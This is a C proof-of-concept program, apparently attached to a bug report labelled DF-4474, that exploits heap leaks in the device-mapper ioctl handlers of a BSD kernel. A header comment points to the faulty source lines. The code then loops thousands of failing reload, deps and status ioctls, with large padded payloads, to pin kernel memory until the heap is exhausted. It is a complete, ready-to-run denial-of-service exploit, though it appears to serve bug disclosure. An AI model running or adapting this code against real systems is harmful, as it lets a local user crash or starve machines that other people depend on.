DF-4474 / dm_errleak.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 | /* * DF-4474 PoC -- kernel heap leak on dm ioctl error paths: * (a) dm_table_load_ioctl leaks the prop_array_iterator (which RETAINS * the whole inbound cmd_data array tree) when target lookup fails; * (b) dm_table_deps_ioctl leaks its freshly created cmd_array on ENOENT; * (c) dm_table_status_ioctl leaks its cmd_array on ENOENT. * * Bug (sys/dev/disk/dm/dm_ioctl.c): * load: 707: cmd_array = prop_dictionary_get(dm_dict, DM_IOCTL_CMD_DATA); * 708: iter = prop_array_iterator(cmd_array); <-- retains array * 737-741: unknown target -> dm_table_release; dm_dev_unbusy; * return ENOENT; <-- iter NEVER released * deps: 602: cmd_array = prop_array_create(); * 604-606: dm_dev_lookup fails -> return ENOENT; <-- array leak * status:895: cmd_array = prop_array_create(); * 897-899: dm_dev_lookup fails -> return ENOENT; <-- array leak * * prop_array_iterator() retains the array (sys/libprop/prop_array.c:525 * prop_object_retain(pa)), so each failed reload pins the ENTIRE attacker- * supplied cmd_data tree (all dicts/strings) in kernel memory forever. * An operator-group user can exhaust kernel heap with a trivial loop of * failed reloads carrying large cmd_data payloads. * * Observable: M_TEMP (prop arrays/strings/iterators are M_TEMP) grows * monotonically with iteration count and never drops. * * Build: cc -o dm_errleak dm_errleak.c -lprop * Run: ./dm_errleak [bigrounds] [smallrounds] */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <libprop/proplib.h> #include <dev/disk/dm/netbsd-dm.h> #define DM_CONTROL_DEV "/dev/mapper/control" static int send_ioctl(int fd, prop_dictionary_t dict) { return prop_dictionary_send_ioctl(dict, fd, NETBSD_DM_IOCTL); } static prop_dictionary_t new_dm_dict(const char *command) { prop_dictionary_t dict; prop_array_t ver; dict = prop_dictionary_create(); ver = prop_array_create(); prop_array_add_uint32(ver, 4); prop_array_add_uint32(ver, 0); prop_array_add_uint32(ver, 0); prop_dictionary_set(dict, DM_IOCTL_VERSION, ver); prop_object_release(ver); prop_dictionary_set_cstring(dict, DM_IOCTL_COMMAND, command); prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS, 0); return dict; } /* (a) reload with an unknown target type and a FAT cmd_data tree. */ static int leaky_reload(int fd, int nents, const char *pad) { prop_dictionary_t dict = new_dm_dict("reload"); prop_array_t arr; int i, rv; arr = prop_array_create(); for (i = 0; i < nents; i++) { prop_dictionary_t ent = prop_dictionary_create(); /* unknown target: dm_target_lookup + autoload both fail */ prop_dictionary_set_cstring(ent, DM_TABLE_TYPE, "zznosuch"); prop_dictionary_set_uint64(ent, DM_TABLE_START, 0); prop_dictionary_set_uint64(ent, DM_TABLE_LENGTH, 1); prop_dictionary_set_cstring(ent, DM_TABLE_PARAMS, pad); prop_array_add(arr, ent); prop_object_release(ent); } prop_dictionary_set(dict, DM_IOCTL_CMD_DATA, arr); prop_object_release(arr); prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, "df4474dev"); rv = send_ioctl(fd, dict); prop_object_release(dict); return rv; } /* (b) deps for a nonexistent device. */ static int leaky_deps(int fd) { prop_dictionary_t dict = new_dm_dict("deps"); int rv; prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, "df4474nosuch"); rv = send_ioctl(fd, dict); prop_object_release(dict); return rv; } /* (c) status for a nonexistent device. */ static int leaky_status(int fd) { prop_dictionary_t dict = new_dm_dict("status"); int rv; prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, "df4474nosuch"); rv = send_ioctl(fd, dict); prop_object_release(dict); return rv; } static void show_malloc(const char *tag) { char cmd[128], line[256]; FILE *f; snprintf(cmd, sizeof(cmd), "vmstat -m | awk '$1==\"temp\" || $1==\"dm\" {print}'"); f = popen(cmd, "r"); if (!f) return; printf("---- vmstat -m (%s) ----\n", tag); while (fgets(line, sizeof(line), f)) printf("%s", line); pclose(f); } int main(int argc, char **argv) { int fd, i, rv; int bigrounds = argc > 1 ? atoi(argv[1]) : 100; int smallrounds = argc > 2 ? atoi(argv[2]) : 20000; int bigents = argc > 3 ? atoi(argv[3]) : 400; static const char pad[] = "PADPADPADPADPADPADPADPADPADPADPADPADPADPADPADPADPADPADPADPAD" "PADPADPADPADPADPADPADPADPADPADPADPADPADPADPADPADPADPADPADPAD" "PADPADPADPADPADPADPADPADPADPADPADPADPADPADPADPADPADPADPADPAD" "PADPADPADPADPADPADPADPADPADPADPADPADPADPADPADPADPADPADPADPAD"; /* 256B */ fd = open(DM_CONTROL_DEV, O_RDWR); if (fd < 0) { fprintf(stderr, "open %s: %s\n", DM_CONTROL_DEV, strerror(errno)); return 1; } show_malloc("baseline"); printf("[*] (a) %d failed reloads, cmd_data = 400 x ~300B tree " "(iterator + whole tree retained)\n", bigrounds); for (i = 0; i < bigrounds; i++) { rv = leaky_reload(fd, bigents, pad); if (rv != ENOENT && (i % 25) == 0) printf(" reload[%d] rv=%d (%s)\n", i, rv, strerror(rv)); } show_malloc("after failed reloads"); printf("[*] (b) %d deps for missing device (cmd_array leak)\n", smallrounds); for (i = 0; i < smallrounds; i++) leaky_deps(fd); printf("[*] (c) %d status for missing device (cmd_array leak)\n", smallrounds); for (i = 0; i < smallrounds; i++) leaky_status(fd); show_malloc("after deps/status"); printf("[*] done (M_TEMP above should have grown by roughly " "%d KB from (a) alone and never drops)\n", (int)(bigrounds * 400 * 300 / 1024)); close(fd); return 0; } |